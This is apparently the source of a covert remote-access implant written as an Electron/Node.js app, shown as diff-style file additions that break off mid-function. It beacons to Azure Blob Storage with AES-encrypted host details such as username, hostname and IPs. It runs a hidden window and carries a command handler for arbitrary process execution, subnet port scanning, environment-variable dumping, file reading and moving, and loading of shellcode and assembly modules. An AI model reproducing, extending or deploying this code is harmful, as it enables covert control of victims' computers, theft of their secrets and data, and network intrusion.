const familyV4Value = typeof net.family === 'string' ? 'IPv4' : 4
|
||||
if (net.family === familyV4Value && !net.internal) {
|
||||
IpInfo.push( net.address );
|
||||
}
|
||||
}
|
||||
}
|
||||
// Create a JSON object with the collected information
|
||||
const systemInfo = {
|
||||
hostname: hostname,
|
||||
username: username,
|
||||
osType: osType,
|
||||
osRelease: osRelease,
|
||||
platform: platform,
|
||||
arch: arch,
|
||||
PID: PID,
|
||||
Process: procName,
|
||||
IP: IpInfo,
|
||||
checkIn: Date.now()
|
||||
};
|
||||
return systemInfo;
|
||||
}catch (error) {
|
||||
func_log(`${error} ${error.stack}`);
|
||||
return 0;
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
ipcRenderer.on('init-container', async (event, container, blobs_json, key, iv) => {
|
||||
try
|
||||
{
|
||||
let blobs = JSON.parse(blobs_json);
|
||||
const aes = {
|
||||
'key':key,
|
||||
'iv':iv
|
||||
}
|
||||
key = Buffer.from(key, 'hex');
|
||||
iv = Buffer.from(iv, 'hex');
|
||||
|
||||
func_log(`IPC init-container hit : container : ${container}`);
|
||||
// let response = await func_Container_Create(container);
|
||||
//func_log(`func_Container_Create response status ${response.status}`);
|
||||
let options = {
|
||||
hostname: storageAccount,
|
||||
port: 443,
|
||||
path: `/${container}?restype=container&${sasToken}`,
|
||||
method: 'PUT',
|
||||
headers: {
|
||||
'x-ms-version': '2020-02-10', // The version of the Azure Blob Storage API to use
|
||||
'x-ms-date': new Date().toUTCString(), // The current date and time in UTC format
|
||||
'Content-Length': 0,
|
||||
'Cache-Control': 'no-cache, no-store, must-revalidate',
|
||||
'Pragma': 'no-cache',
|
||||
'Expires': '0'
|
||||
}
|
||||
}
|
||||
let url = `https://${options['hostname']}:${options['port']}${options['path']}`;
|
||||
func_log(url);
|
||||
let response = new Response();
|
||||
response = await fetch(url, options);
|
||||
r_data = await response.text();
|
||||
|
||||
if(response.status == 201)
|
||||
{
|
||||
const nulldata = "";
|
||||
func_log(`blobs : ${blobs_json}`);
|
||||
let checkin = Date.now();
|
||||
let inresp = await func_Blob_Create(container,blobs['in'],checkin);
|
||||
func_log(`inresp status response ${inresp.status}`);
|
||||
let outresp = await func_Blob_Create(container,blobs['out'],nulldata);
|
||||
func_log(`outresp status response ${outresp.status}`);
|
||||
let selfInfo = await getSystemInfo();
|
||||
const checkin_encryptedData = await func_Encrypt(JSON.stringify(selfInfo, null, 1), key, iv);
|
||||
const checkin_b64EncData = await func_Base64_Encode(checkin_encryptedData);
|
||||
let checkinresp = await func_Blob_Create(container,blobs['checkin'],checkin_b64EncData);
|
||||
func_log(`checkinresp status response ${checkinresp.status}`);
|
||||
let keyresp = await func_Blob_Create(container,blobs['key'],JSON.stringify(aes));
|
||||
func_log(`keyresp status response ${keyresp.status}`);
|
||||
if(inresp.status === 201 && outresp.status === 201 && checkinresp.status === 201 && keyresp.status === 201 )
|
||||
{
|
||||
ipcRenderer.send('containers-created',true);
|
||||
}else
|
||||
{
|
||||
ipcRenderer.send('containers-created',false);
|
||||
}
|
||||
}else
|
||||
{
|
||||
ipcRenderer.send('containers-created',false);
|
||||
}
|
||||
}catch (error) {
|
||||
func_log(`${error} ${error.stack}`);
|
||||
}
|
||||
});
|
||||
|
||||
// Listen for the window ID from the main process
|
||||
ipcRenderer.on('init-mapping-container', async (event, metaContainer,agentname,agentcontainer) => {
|
||||
try
|
||||
{
|
||||
let response = await func_Container_Create(metaContainer);
|
||||
let outresp = await func_Blob_Create(metaContainer,agentname,agentcontainer);
|
||||
}catch (error) {
|
||||
func_log(`Error in ipcRender(init-mapping-container): ${error.message}\r\n${error.stack}`);
|
||||
}
|
||||
});
|
||||
|
||||
function func_Checkin_Send()
|
||||
{
|
||||
let timestamp = Date.now();
|
||||
ipcRenderer.send('checkin', timestamp);
|
||||
}
|
||||
|
||||
|
||||
setInterval(func_Checkin_Send, 10000);
|
||||
@@ -0,0 +1,110 @@
|
||||
|
||||
async function func_Split_Quoted_String(str) {
|
||||
const result = [];
|
||||
let current = '';
|
||||
let insideQuotes = false;
|
||||
let quoteChar = '';
|
||||
|
||||
for (let i = 0; i < str.length; i++) {
|
||||
const char = str[i];
|
||||
|
||||
if (insideQuotes) {
|
||||
if (char === '\\' && (str[i + 1] === quoteChar || str[i + 1] === '\\')) {
|
||||
// Handle escaped quote or backslash
|
||||
current += str[i + 1];
|
||||
i++; // Skip the next character
|
||||
} else if (char === quoteChar) {
|
||||
// End of quoted string
|
||||
insideQuotes = false;
|
||||
result.push(current);
|
||||
current = '';
|
||||
} else {
|
||||
// Inside quoted string
|
||||
current += char;
|
||||
}
|
||||
} else {
|
||||
if (char === '"' || char === "'") {
|
||||
// Start of quoted string
|
||||
insideQuotes = true;
|
||||
quoteChar = char;
|
||||
} else if (char === '\\' && str[i + 1] === ' ') {
|
||||
// Handle escaped space
|
||||
current += ' ';
|
||||
i++; // Skip the next character
|
||||
} else if (char === ' ') {
|
||||
// Space outside of quotes
|
||||
if (current.length > 0) {
|
||||
result.push(current);
|
||||
current = '';
|
||||
}
|
||||
} else {
|
||||
// Unquoted string
|
||||
current += char;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Add the last argument if there's any
|
||||
if (current.length > 0) {
|
||||
result.push(current);
|
||||
}
|
||||
|
||||
return result;
|
||||
}
|
||||
async function numcheck(value, defaultNumber, min = 1, max = 900)
|
||||
{
|
||||
if (typeof value !== 'number' || isNaN(value)) {
|
||||
value = defaultNumber;
|
||||
}
|
||||
if (value < min) {
|
||||
return min;
|
||||
} else if (value > max) {
|
||||
return max;
|
||||
} else {
|
||||
return value;
|
||||
}
|
||||
}
|
||||
|
||||
async function getrand(number, percent)
|
||||
{
|
||||
try
|
||||
{
|
||||
// Calculate the range based on the percentage
|
||||
number = Number(number);
|
||||
percent = Number(percent);
|
||||
//common.logToFile(`getRandomValue(${number},${percent})`);
|
||||
const range = number * (percent / 100);
|
||||
//common.logToFile(`range : ${range}`);
|
||||
|
||||
// Calculate the minimum and maximum values
|
||||
let minValue = number - range;
|
||||
let maxValue = number + range;
|
||||
if (minValue < 1000) {
|
||||
minValue = 1000;
|
||||
}
|
||||
if (maxValue < 1000) {
|
||||
maxValue = 1000;
|
||||
}
|
||||
|
||||
if(maxValue > 600000){
|
||||
maxValue = 600000;
|
||||
}
|
||||
//common.logToFile(`min value : ${minValue}`);
|
||||
//common.logToFile(`max value : ${maxValue}`);
|
||||
|
||||
// Generate a random value between minValue and maxValue
|
||||
const randomValue = Math.random() * (maxValue - minValue) + minValue;
|
||||
|
||||
return Math.floor(randomValue);
|
||||
|
||||
}catch( error )
|
||||
{
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
module.exports = {
|
||||
func_Split_Quoted_String,
|
||||
numcheck,
|
||||
getrand
|
||||
};
|
||||
@@ -0,0 +1,90 @@
|
||||
const crypto = require('crypto');
|
||||
const { log } = require('console');
|
||||
|
||||
function generateAESKey()
|
||||
{
|
||||
const key_material = {
|
||||
'key' : crypto.randomBytes(32), // 256-bit key
|
||||
'iv' : crypto.randomBytes(16) // 128-bit IV
|
||||
};
|
||||
return key_material;
|
||||
}
|
||||
|
||||
// Function to AES encrypt data with a static key and IV
|
||||
async function func_Encrypt(data,key,iv) {
|
||||
const cipher = crypto.createCipheriv('aes-256-cbc', key, iv);
|
||||
|
||||
let encrypted = "";
|
||||
if ( Buffer.isBuffer( data ) ) {
|
||||
encrypted = Buffer.concat([cipher.update(data), cipher.final()]);
|
||||
}
|
||||
else {
|
||||
encrypted = cipher.update(data, 'utf8', 'hex');
|
||||
encrypted += cipher.final('hex');
|
||||
}
|
||||
return encrypted;
|
||||
}
|
||||
|
||||
async function func_Decrypt(encryptedData,key,iv) {
|
||||
const decipher = crypto.createDecipheriv('aes-256-cbc', key, iv);
|
||||
|
||||
let decrypted = "";
|
||||
if ( Buffer.isBuffer( encryptedData ) ) {
|
||||
decrypted = Buffer.concat([decipher.update(encryptedData), decipher.final()]);
|
||||
}
|
||||
else {
|
||||
decrypted = decipher.update(encryptedData, 'hex', 'utf8');
|
||||
decrypted += decipher.final('utf8');
|
||||
}
|
||||
return decrypted;
|
||||
}
|
||||
|
||||
// Function to encode a string to base64
|
||||
async function func_Base64_Encode(input) {
|
||||
//log(`crypt.js | func_Base64_Encode() | typeof input : ${typeof input}`);
|
||||
if(typeof input == 'string')
|
||||
{
|
||||
// Create a buffer from the input string
|
||||
input = Buffer.from(input, 'utf-8');
|
||||
}
|
||||
// Convert the buffer to a base64 encoded string
|
||||
const base64 = input.toString('base64');
|
||||
return base64;
|
||||
}
|
||||
|
||||
// Function to decode a base64 string
|
||||
async function func_Base64_Decode(base64) {
|
||||
// Create a buffer from the base64 encoded string
|
||||
const buffer = Buffer.from(base64, 'base64');
|
||||
// Convert the buffer to a utf-8 string
|
||||
const decoded = buffer.toString('utf-8');
|
||||
return decoded;
|
||||
}
|
||||
|
||||
// function generateUUID(len) {
|
||||
// // Generate a random UUID
|
||||
// if (len > 20){len = 20};
|
||||
// const uuid = crypto.randomUUID();
|
||||
// // Remove hyphens and take the first 10 characters
|
||||
// const shortUUID = uuid.replace(/-/g, '').substring(0, len);
|
||||
// return shortUUID;
|
||||
// }
|
||||
|
||||
function generateUUID(len) {
|
||||
if (len > 20) len = 20; // Limit max length to 20
|
||||
|
||||
// Generate random bytes and convert to hex
|
||||
const uuid = crypto.randomBytes(Math.ceil(len / 2)).toString('hex');
|
||||
|
||||
// Trim to the required length
|
||||
return uuid.substring(0, len);
|
||||
}
|
||||
|
||||
module.exports = {
|
||||
generateAESKey,
|
||||
func_Encrypt,
|
||||
func_Decrypt,
|
||||
func_Base64_Encode,
|
||||
func_Base64_Decode,
|
||||
generateUUID
|
||||
};
|
||||
@@ -0,0 +1,598 @@
|
||||
const { log } = require('console');
|
||||
const { spawn } = require('child_process');
|
||||
const path = require('path');
|
||||
const fsp = require('fs').promises;
|
||||
const dns = require('dns');
|
||||
const net = require('net'); // Import the net module
|
||||
|
||||
async function func_Scan_Ports(host, ports) {
|
||||
const openPorts = [];
|
||||
|
||||
const checkPort = (host, port) => {
|
||||
return new Promise((resolve) => {
|
||||
const socket = new net.Socket();
|
||||
socket.setTimeout(100); // Timeout after 2 seconds
|
||||
|
||||
socket.on('connect', () => {
|
||||
openPorts.push(port);
|
||||
socket.destroy();
|
||||
resolve();
|
||||
});
|
||||
|
||||
socket.on('timeout', () => {
|
||||
socket.destroy();
|
||||
resolve();
|
||||
});
|
||||
|
||||
socket.on('error', () => {
|
||||
socket.destroy();
|
||||
resolve();
|
||||
});
|
||||
|
||||
socket.connect(port, host);
|
||||
});
|
||||
};
|
||||
|
||||
const portChecks = ports.map(port => checkPort(host, port));
|
||||
await Promise.all(portChecks);
|
||||
|
||||
return openPorts;
|
||||
}
|
||||
|
||||
function func_Split_Quoted_String(str) {
|
||||
const result = [];
|
||||
let current = '';
|
||||
let insideQuotes = false;
|
||||
let quoteChar = '';
|
||||
|
||||
for (let i = 0; i < str.length; i++) {
|
||||
const char = str[i];
|
||||
|
||||
if (insideQuotes) {
|
||||
if (char === '\\' && (str[i + 1] === quoteChar || str[i + 1] === '\\')) {
|
||||
// Handle escaped quote or backslash
|
||||
current += str[i + 1];
|
||||
i++; // Skip the next character
|
||||
} else if (char === quoteChar) {
|
||||
// End of quoted string
|
||||
insideQuotes = false;
|
||||
result.push(current);
|
||||
current = '';
|
||||
} else {
|
||||
// Inside quoted string
|
||||
current += char;
|
||||
}
|
||||
} else {
|
||||
if (char === '"' || char === "'") {
|
||||
// Start of quoted string
|
||||
insideQuotes = true;
|
||||
quoteChar = char;
|
||||
} else if (char === '\\' && str[i + 1] === ' ') {
|
||||
// Handle escaped space
|
||||
current += ' ';
|
||||
i++; // Skip the next character
|
||||
} else if (char === ' ') {
|
||||
// Space outside of quotes
|
||||
if (current.length > 0) {
|
||||
result.push(current);
|
||||
current = '';
|
||||
}
|
||||
} else {
|
||||
// Unquoted string
|
||||
current += char;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Add the last argument if there's any
|
||||
if (current.length > 0) {
|
||||
result.push(current);
|
||||
}
|
||||
|
||||
return result;
|
||||
}
|
||||
|
||||
async function func_File_Move(srcPath, destPath) {
|
||||
let output = "";
|
||||
try {
|
||||
// Ensure the destination directory exists
|
||||
await fsp.mkdir(path.dirname(destPath), { recursive: true });
|
||||
// Move the file
|
||||
await fsp.rename(srcPath, destPath);
|
||||
output = `File moved from ${srcPath} to ${destPath}`;
|
||||
//log( output );
|
||||
} catch (error) {
|
||||
output = `Error moving file: ${error.stack}`;
|
||||
//log( output );
|
||||
}
|
||||
return output;
|
||||
}
|
||||
|
||||
async function func_File_Copy(srcPath, destPath) {
|
||||
let output = "";
|
||||
try {
|
||||
// Ensure the destination directory exists
|
||||
await fsp.mkdir(path.dirname(destPath), { recursive: true });
|
||||
// Copy the file
|
||||
await fsp.func_File_Copy(srcPath, destPath);
|
||||
output = `File copied from ${srcPath} to ${destPath}`;
|
||||
//log( output );
|
||||
} catch (error) {
|
||||
output = `Error copying file: ${error.stack}`;
|
||||
//log( output );
|
||||
}
|
||||
return output;
|
||||
}
|
||||
|
||||
async function func_File_Read(filePath) {
|
||||
try {
|
||||
//log('In function func_File_Read():');
|
||||
// Check if the path is absolute
|
||||
if (!path.isAbsolute(filePath)) {
|
||||
// If the path is relative, resolve it to an absolute path
|
||||
filePath = path.resolve(__dirname, filePath);
|
||||
}
|
||||
//log('filePath : ',filePath);
|
||||
|
||||
const data = await fsp.readFile(filePath, { encoding: 'utf8' });
|
||||
//log('File contents:', data);
|
||||
return data; // Return the data if you need to use it later
|
||||
} catch (err) {
|
||||
//log('Error reading file:', err);
|
||||
//throw err; // Re-throw the error if you need to handle it outside
|
||||
return `[!] ${err}`;
|
||||
}
|
||||
}
|
||||
|
||||
// Function to execute a command using spawn and return a promise
|
||||
function func_Spawn_Child(command, args = []) {
|
||||
return new Promise((resolve, reject) => {
|
||||
const proc = spawn(command, args);
|
||||
let stdout = "";
|
||||
let stderr = "";
|
||||
|
||||
proc.stdout.on('data', (data) => {
|
||||
stdout += data.toString();
|
||||
});
|
||||
|
||||
proc.stderr.on('data', (data) => {
|
||||
stderr += data.toString();
|
||||
});
|
||||
|
||||
proc.on('close', (code) => {
|
||||
resolve({
|
||||
stdout: stdout.trim(),
|
||||
stderr: stderr.trim(),
|
||||
pid: proc.pid,
|
||||
exitCode: code,
|
||||
command: `${command} ${args.join(" ")}` // CLI format
|
||||
});
|
||||
});
|
||||
|
||||
proc.on('error', (err) => {
|
||||
reject(err);
|
||||
});
|
||||
});
|
||||
}
|
||||
// function func_Spawn_Child(command, args) {
|
||||
|
||||
// const proc = spawn(command, args);
|
||||
|
||||
// let stdout = proc.stdout.read();
|
||||
// let stderr = proc.stderr.read();
|
||||
// let code = proc.exitCode;
|
||||
// let pid = proc.pid;
|
||||
|
||||
// return JSON.stringify( {"stdout":stdout, "stderr":stderr, "pid":pid, "exitCode":code} );
|
||||
// }
|
||||
|
||||
async function func_Drives_Exist(driveLetter) {
|
||||
const path = `${driveLetter}:\\`;
|
||||
try {
|
||||
await fsp.access(path);
|
||||
return true;
|
||||
} catch {
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
async function func_Drives_Stat(driveLetter) {
|
||||
const path = `${driveLetter}:\\`;
|
||||
try {
|
||||
const stats = await fsp.stat(path);
|
||||
return stats;
|
||||
} catch (error) {
|
||||
throw new Error(`Error retrieving stats for ${driveLetter}:: ${error.message}`);
|
||||
}
|
||||
}
|
||||
|
||||
async function func_Drives_List() {
|
||||
const driveLetters = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'.split('');
|
||||
let resultBuffer = '';
|
||||
|
||||
for (const letter of driveLetters) {
|
||||
if (await func_Drives_Exist(letter)) {
|
||||
resultBuffer += `Drive: ${letter}:\n`;
|
||||
try {
|
||||
const stats = await func_Drives_Stat(letter);
|
||||
resultBuffer += `Created: ${stats.birthtime}\n`;
|
||||
resultBuffer += `Modified: ${stats.mtime}\n`;
|
||||
} catch (error) {
|
||||
resultBuffer += `${error.message}\n`;
|
||||
}
|
||||
resultBuffer += '---\n';
|
||||
}
|
||||
}
|
||||
|
||||
return resultBuffer;
|
||||
}
|
||||
|
||||
async function ls(dirPath) {
|
||||
try {
|
||||
if (dirPath == "") {
|
||||
dirPath = ".";
|
||||
}
|
||||
const filesAndFolders = await fsp.readdir(dirPath, { withFileTypes: true });
|
||||
let resultBuffer = '';
|
||||
|
||||
// Table headers
|
||||
resultBuffer += `Name`.padEnd(60) + `Type`.padEnd(16) + `Size (bytes)`.padEnd(15) + `Created`.padEnd(24) + `Modified`.padEnd(24) + '\n';
|
||||
resultBuffer += '-'.repeat(30) + '-'.repeat(10) + '-'.repeat(15) + '-'.repeat(30) + '-'.repeat(30) + '\n';
|
||||
|
||||
for (const entry of filesAndFolders) {
|
||||
const fullPath = path.join(dirPath, entry.name);
|
||||
try {
|
||||
const stats = await fsp.stat(fullPath);
|
||||
const options = {
|
||||
month: '2-digit',
|
||||
day: '2-digit',
|
||||
year: '2-digit',
|
||||
hour: '2-digit',
|
||||
minute: '2-digit',
|
||||
second: '2-digit',
|
||||
hour12: false
|
||||
};
|
||||
resultBuffer += entry.name.padEnd(60);
|
||||
resultBuffer += (entry.isDirectory() ? 'Directory' : 'File').padEnd(16);
|
||||
resultBuffer += String(stats.size).padEnd(15);
|
||||
resultBuffer += stats.birthtime.toLocaleString('en-US', options).replace(',', '').padEnd(24);
|
||||
resultBuffer += stats.mtime.toLocaleString('en-US', options).replace(',', '').padEnd(24);
|
||||
resultBuffer += '\n';
|
||||
} catch (err) {
|
||||
//log(`Unable to access file: ${fullPath}. Error: ${err.message}`);
|
||||
}
|
||||
}
|
||||
|
||||
return resultBuffer;
|
||||
} catch (error) {
|
||||
//log('Error reading directory:', error);
|
||||
return 'Error reading directory.';
|
||||
}
|
||||
}
|
||||
|
||||
async function safeStringify(input) {
|
||||
if (typeof input === "object" && input !== null) {
|
||||
try {
|
||||
return JSON.stringify(input);
|
||||
} catch (error) {
|
||||
console.error("Error stringifying object:", error);
|
||||
}
|
||||
}
|
||||
return input; // Return original value if not a JSON object
|
||||
}
|
||||
|
||||
// Global variable to store the custom DNS server
|
||||
let customDnsServer = null;
|
||||
|
||||
function dnsHandler(command) {
|
||||
return new Promise((resolve) => {
|
||||
let data = '';
|
||||
|
||||
try {
|
||||
const parts = command.split(' ');
|
||||
|
||||
if (parts.length < 2) {
|
||||
data += 'Invalid command\r\n';
|
||||
return resolve(data);
|
||||
}
|
||||
|
||||
// Handle the @ command to set a custom DNS server
|
||||
if (parts[1].startsWith('@')) {
|
||||
const server = parts[1].substring(1); // Remove the '@'
|
||||
|
||||
if (server.toLowerCase() === "default") {
|
||||
customDnsServer = null; // Reset to system default
|
||||
dns.setServers(dns.getServers()); // Restore system DNS
|
||||
data += "Reset to system default DNS servers\r\n";
|
||||
} else {
|
||||
customDnsServer = server;
|
||||
dns.setServers([server]);
|
||||
data += `Using custom DNS server: ${server}\r\n`;
|
||||
}
|
||||
return resolve(data);
|
||||
}
|
||||
|
||||
// Use custom DNS if set
|
||||
const resolver = customDnsServer ? new dns.Resolver() : dns;
|
||||
if (customDnsServer) resolver.setServers([customDnsServer]);
|
||||
|
||||
switch (parts[1]) {
|
||||
case 'lookup':
|
||||
if (parts[2]) {
|
||||
if (parts.includes('-all')) {
|
||||
let hostname = parts[2];
|
||||
let pendingLookups = 7; // Total lookups being performed
|
||||
|
||||
// Function to check when all lookups are done
|
||||
const finalize = () => {
|
||||
pendingLookups--;
|
||||
if (pendingLookups === 0) {
|
||||
resolve(data);
|
||||
}
|
||||
};
|
||||
|
||||
// Resolve IP Address
|
||||
resolver.lookup(hostname, (err, address, family) => {
|
||||
data += err ? `Error resolving IP: ${err.message}\r\n`
|
||||
: `Resolved IP: ${address}, Family: IPv${family}\r\n`;
|
||||
finalize();
|
||||
});
|
||||
|
||||
// Resolve A (IPv4) & AAAA (IPv6)
|
||||
resolver.resolve4(hostname, (err, addresses) => {
|
||||
data += err ? `Error resolving A record: ${err.message}\r\n`
|
||||
: `A (IPv4) Records: ${addresses.join(', ')}\r\n`;
|
||||
finalize();
|
||||
});
|
||||
|
||||
resolver.resolve6(hostname, (err, addresses) => {
|
||||
data += err ? `Error resolving AAAA record: ${err.message}\r\n`
|
||||
: `AAAA (IPv6) Records: ${addresses.join(', ')}\r\n`;
|
||||
finalize();
|
||||
});
|
||||
|
||||
// Resolve MX Records
|
||||
resolver.resolveMx(hostname, (err, addresses) => {
|
||||
data += err ? `Error resolving MX records: ${err.message}\r\n`
|
||||
: `MX Records: ${JSON.stringify(addresses, null, 2)}\r\n`;
|
||||
finalize();
|
||||
});
|
||||
|
||||
// Resolve TXT Records
|
||||
resolver.resolveTxt(hostname, (err, records) => {
|
||||
data += err ? `Error resolving TXT records: ${err.message}\r\n`
|
||||
: `TXT Records: ${JSON.stringify(records, null, 2)}\r\n`;
|
||||
finalize();
|
||||
});
|
||||
|
||||
// Resolve CNAME Records
|
||||
resolver.resolveCname(hostname, (err, records) => {
|
||||
data += err ? `Error resolving CNAME records: ${err.message}\r\n`
|
||||
: `CNAME Records: ${records.join(', ')}\r\n`;
|
||||
finalize();
|
||||
});
|
||||
|
||||
// Resolve NS Records
|
||||
resolver.resolveNs(hostname, (err, records) => {
|
||||
data += err ? `Error resolving NS records: ${err.message}\r\n`
|
||||
: `NS Records: ${records.join(', ')}\r\n`;
|
||||
finalize();
|
||||
});
|
||||
|
||||
} else {
|
||||
resolver.lookup(parts[2], (err, address, family) => {
|
||||
data += err ? `Error: ${err.message}\r\n`
|
||||
: `IP Address: ${address}, Family: IPv${family}\r\n`;
|
||||
resolve(data);
|
||||
});
|
||||
}
|
||||
} else {
|
||||
data += 'Usage: dns lookup <hostname> [-all | -mx | -txt | -cname]\r\n';
|
||||
resolve(data);
|
||||
}
|
||||
break;
|
||||
|
||||
case 'resolve':
|
||||
if (parts[2]) {
|
||||
resolver.resolve(parts[2], (err, addresses) => {
|
||||
data += err ? `Error: ${err.message}\r\n`
|
||||
: `IP Addresses: ${addresses.join(', ')}\r\n`;
|
||||
resolve(data);
|
||||
});
|
||||
} else {
|
||||
data += 'Usage: dns resolve <hostname>\r\n';
|
||||
resolve(data);
|
||||
}
|
||||
break;
|
||||
|
||||
case 'reverse':
|
||||
if (parts[2]) {
|
||||
resolver.reverse(parts[2], (err, hostnames) => {
|
||||
data += err ? `Error: ${err.message}\r\n`
|
||||
: `Hostnames: ${hostnames.join(', ')}\r\n`;
|
||||
resolve(data);
|
||||
});
|
||||
} else {
|
||||
data += 'Usage: dns reverse <ip-address>\r\n';
|
||||
resolve(data);
|
||||
}
|
||||
break;
|
||||
|
||||
case 'config':
|
||||
try {
|
||||
data += `Current DNS Servers: ${dns.getServers().join(', ')}\r\n`;
|
||||
} catch (error) {
|
||||
data += `Error retrieving DNS config: ${error.message}\r\n`;
|
||||
}
|
||||
resolve(data);
|
||||
break;
|
||||
|
||||
default:
|
||||
data += 'Unknown command\r\n';
|
||||
resolve(data);
|
||||
}
|
||||
} catch (error) {
|
||||
data += `Unexpected error: ${error.message}\r\n${error.stack}\r\n`;
|
||||
resolve(data);
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
// Function to simulate doing some work with the blob content
|
||||
async function func_Command_Handler(cmd)
|
||||
{
|
||||
try
|
||||
{
|
||||
//log('# func_Command_Handler()');
|
||||
//log(`cmdline : ${cmd}`);
|
||||
if ( cmd != "")
|
||||
{
|
||||
const argv = func_Split_Quoted_String(cmd);
|
||||
log(`handler.js | func_Command_Handler | cmd : ${argv}`);
|
||||
//log(`[+] argv: ${argv}`);
|
||||
if (argv[0] != "")
|
||||
{
|
||||
let data;
|
||||
let clearResponse;
|
||||
let response;
|
||||
const arg1 = argv.length > 0 ? argv[1] : '';
|
||||
const args = argv.slice(2);
|
||||
//log(`# CMD ARGS \r\n\targv : ${argv[0]}\r\n\targ1 : ${arg1}\r\n\targs : ${args}`);
|
||||
//log('[+] Command : ', argv[0]);
|
||||
if (argv[0] == 'spawn')
|
||||
{
|
||||
log('command:', arg1);
|
||||
log('args :', args);
|
||||
data = await func_Spawn_Child(arg1, args);
|
||||
//data = safeStringify(data);
|
||||
data = data.stdout;
|
||||
log('Command Output:', data);
|
||||
}
|
||||
if (argv[0] == 'scan') {
|
||||
const host = argv[1];
|
||||
const portsArg = argv.find(arg => arg.startsWith('-p'));
|
||||
const ports = portsArg ? portsArg.substring(2).split(',').map(Number) : [80, 443]; // Default ports if not specified
|
||||
|
||||
const isCIDR = host.includes('/');
|
||||
if (isCIDR) {
|
||||
const [base, mask] = host.split('/');
|
||||
const baseIP = base.split('.').map(Number);
|
||||
const range = 1 << (32 - Number(mask));
|
||||
const openPorts = [];
|
||||
|
||||
for (let i = 0; i < range; i++) {
|
||||
const ip = baseIP.slice();
|
||||
ip[3] += i;
|
||||
const ipStr = ip.join('.');
|
||||
const result = await func_Scan_Ports(ipStr, ports);
|
||||
// if (result.length > 0) {
|
||||
openPorts.push(`${ipStr}: ${result.join(', ')}`);
|
||||
// } //else {
|
||||
// openPorts.push(`${ipStr}: none`);
|
||||
// }
|
||||
}
|
||||
data = openPorts.join('\n');
|
||||
} else {
|
||||
const result = await func_Scan_Ports(host, ports);
|
||||
data = `${host}: ${result.join(', ')}`;
|
||||
}
|
||||
}
|
||||
if (argv[0] == 'dns')
|
||||
{
|
||||
data = await dnsHandler(cmd);
|
||||
}
|
||||
if (argv[0] == 'set')
|
||||
{
|
||||
if (argv[1] == 'scexec_path')
|
||||
{
|
||||
global.scexecNodePath = argv[2];
|
||||
data = `SCEXEC Node Load Path Set to : ${global.scexecNodePath}`;
|
||||
log(data);
|
||||
}
|
||||
else if (argv[1] == 'assembly_path')
|
||||
{
|
||||
global.assemblyNodePath = argv[2];
|
||||
data = `Assembly Node Load Path Set to : ${global.assemblyNodePath}`;
|
||||
log(data);
|
||||
|
||||
}else
|
||||
{
|
||||
data = `SCEXEC Node Load Path Set to : ${global.scexecNodePath}\r\nAssembly Node Load Path Set to : ${global.assemblyNodePath}`;
|
||||
log(data);
|
||||
}
|
||||
}
|
||||
if (argv[0] == 'drives')
|
||||
{
|
||||
data = await func_Drives_List();
|
||||
}
|
||||
if (argv[0] == 'ls')
|
||||
{
|
||||
let path;
|
||||
if (typeof argv[1] === 'undefined')
|
||||
{
|
||||
path = ".";
|
||||
}else{
|
||||
path = argv[1];
|
||||
}
|
||||
data = await ls(path);
|
||||
}
|
||||
if (argv[0] == 'env')
|
||||
{
|
||||
//data = process.env;
|
||||
//data = common.func_Base64_Encode(data);
|
||||
let env = process.env;
|
||||
data = JSON.stringify(env, null, 2);
|
||||
//log(env);
|
||||
}
|
||||
if (argv[0] == 'cat')
|
||||
{
|
||||
file = argv[1];
|
||||
data = await func_File_Read(file);
|
||||
}
|
||||
if (argv[0] == 'pwd')
|
||||
{
|
||||
data = process.cwd().replace(/\\/g, '/');;
|
||||
}
|
||||
if (argv[0] == 'sleep')
|
||||
{
|
||||
sleepInterval = await validateAndAdjustNumber(Number(argv[1]), 3000, 0, max = 30000);
|
||||
jitter = await validateAndAdjustNumber(Number(argv[2]), 15, 0, max = 300);
|
||||
data = `Sleeping for ${sleepInterval}ms with ${jitter} percent jitter.`;
|
||||
}
|
||||
if (argv[0] == 'mv')
|
||||
{
|
||||
src = argv[1];
|
||||
dest = argv[2];
|
||||
data = await func_File_Move(src,dest);
|
||||
}
|
||||
if (argv[0] == 'cp')
|
||||
{
|
||||
src = argv[1];
|
||||
dest = argv[2];
|
||||
data = await func_File_Copy(src,dest);
|
||||
}
|
||||
if (argv[0] == 'ps')
|
||||
{
|
||||
if (wpt == null)
|
||||
{
|
||||
data = "wpt.node failed to load so no ps cmd available."
|
||||
}
|
||||
else
|
||||
{
|
||||
await getProcessListWrapper();
|
||||
await new Promise(resolve => setTimeout(resolve, 2000));
|
||||
data = processList;
|
||||
}
|
||||
}
|
||||
return data;
|
||||
}
|
||||
}
|
||||
}catch(error)
|
||||
{
|
||||
return error;
|
||||
}
|
||||
}
|
||||
|
||||
module.exports = {
|
||||
func_Command_Handler
|
||||
};
|
||||
@@ -0,0 +1,369 @@
|
||||
const { app, BrowserWindow, ipcMain } = require('electron');
|
||||
const {Agent} = require('./agent.js');
|
||||
const {func_Encrypt,func_Decrypt,func_Base64_Encode,func_Base64_Decode} = require('./crypt.js');
|
||||
const {func_Command_Handler} = require('./handler.js');
|
||||
const {func_Split_Quoted_String,numcheck,getrand} = require('./common.js');
|
||||
const config = require('./config.js');
|
||||
const metaContainer = config.metaContainer;
|
||||
let fileop_timer = 0;
|
||||
let agent;
|
||||
let isContainersInit = false;
|
||||
let agentwindow;
|
||||
let execwindow;
|
||||
let initbrowserwindow = false;
|
||||
let fileop = false;
|
||||
let scexec_op = false;
|
||||
let dbg = true;
|
||||
let exitall = false;
|
||||
let launch = false;
|
||||
let handover = false;
|
||||
global.scexecNodePath = "./keytar.node";
|
||||
global.assemblyNodePath = "./assembly.node";
|
||||
|
||||
function func_log(text)
|
||||
{
|
||||
const { log } = require('console');
|
||||
if(dbg)
|
||||
{
|
||||
log(text);
|
||||
}
|
||||
}
|
||||
|
||||
async function func_Window_Create() {
|
||||
initbrowserwindow = false;
|
||||
agentwindow = new BrowserWindow({
|
||||
width: 0,
|
||||
height: 0,
|
||||
show: false,
|
||||
skipTaskbar: true,
|
||||
webPreferences: {
|
||||
nodeIntegration: true,
|
||||
contextIsolation: false,
|
||||
backgroundThrottling: false,
|
||||
v8CacheOptions: 'none'
|
||||
}
|
||||
});
|
||||
initbrowserwindow = true;
|
||||
